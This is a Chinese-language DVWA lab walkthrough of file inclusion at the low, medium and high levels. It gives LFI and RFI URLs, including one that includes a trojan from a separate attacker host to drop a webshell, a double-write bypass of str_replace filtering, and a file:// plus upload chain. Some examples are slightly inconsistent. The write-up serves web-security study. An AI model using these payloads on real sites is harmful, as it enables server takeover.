DVWA之File Inclusion
声明:文中出现的ip为练习靶场,本文仅供学习,旨在学习web安全,不允许任何侵权行为
中国人民*网络安全法
1.文件包含漏洞原理
2.文件包含漏洞渗透与防御
2.1 File Inclusion(low)
2.1.1本地文件包含LFI
从代码上看,page参数后面跟着的任何文件路径都会被服务器解析。
在第安全级别下,我们配合文件上传漏洞在路径
/var/www/dvwa/hackable/uploads
下上传包含一句话木马的图片,
通过执行
http://192.168.199.129/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/duitang.jpg
在下列路径中生成shell.php文件,通过中国菜刀链接即可。
/var/www/dvwa/vulnerabilities/fi
2.1.2远程文件包含RFI
远程文件包含相对容易,根据定义可知,在本地搭建服务器,并建立我们打算包含的木马文件,接着通过
`http://192.168.199.129/dvwa/vulnerabilities/fi/?page=http://192.168.199.128/duitang.jpg`
激活一句话木马并生成shell.php。
2.2 File Inclusion(medium)
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
str_replace,可以采用 双写规则绕过漏洞
http:// =》hthttp://tp://
2.2.1本地文件包含LFI
与low级别无异
2.2.2远程文件包含RFI
因为路径中的http://会被替换为空,可以采用双写规则绕过漏洞
http:// =》hthttp://tp://
http://192.168.199.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://duitang.jpg
2.3File Inclusion(high)
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
将 str_replace替换为 fnmatch ,保证服务器只能够通过 file协议来获取文件。
这里可以配合权限设置,保证只能获取到当前文件目录下的权限。
这里就无法使用http协议进行远程文件包含。绕过该漏洞,需要网站存在相关的上传漏洞。
Tip:文件传输协议,访问本地计算机的文件
file:// — 访问本地文件系统
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
使用方法:
file:// [文件的绝对路径和文件名]
由此,配合文件上传漏洞,用file协议包含,即可获得webshell。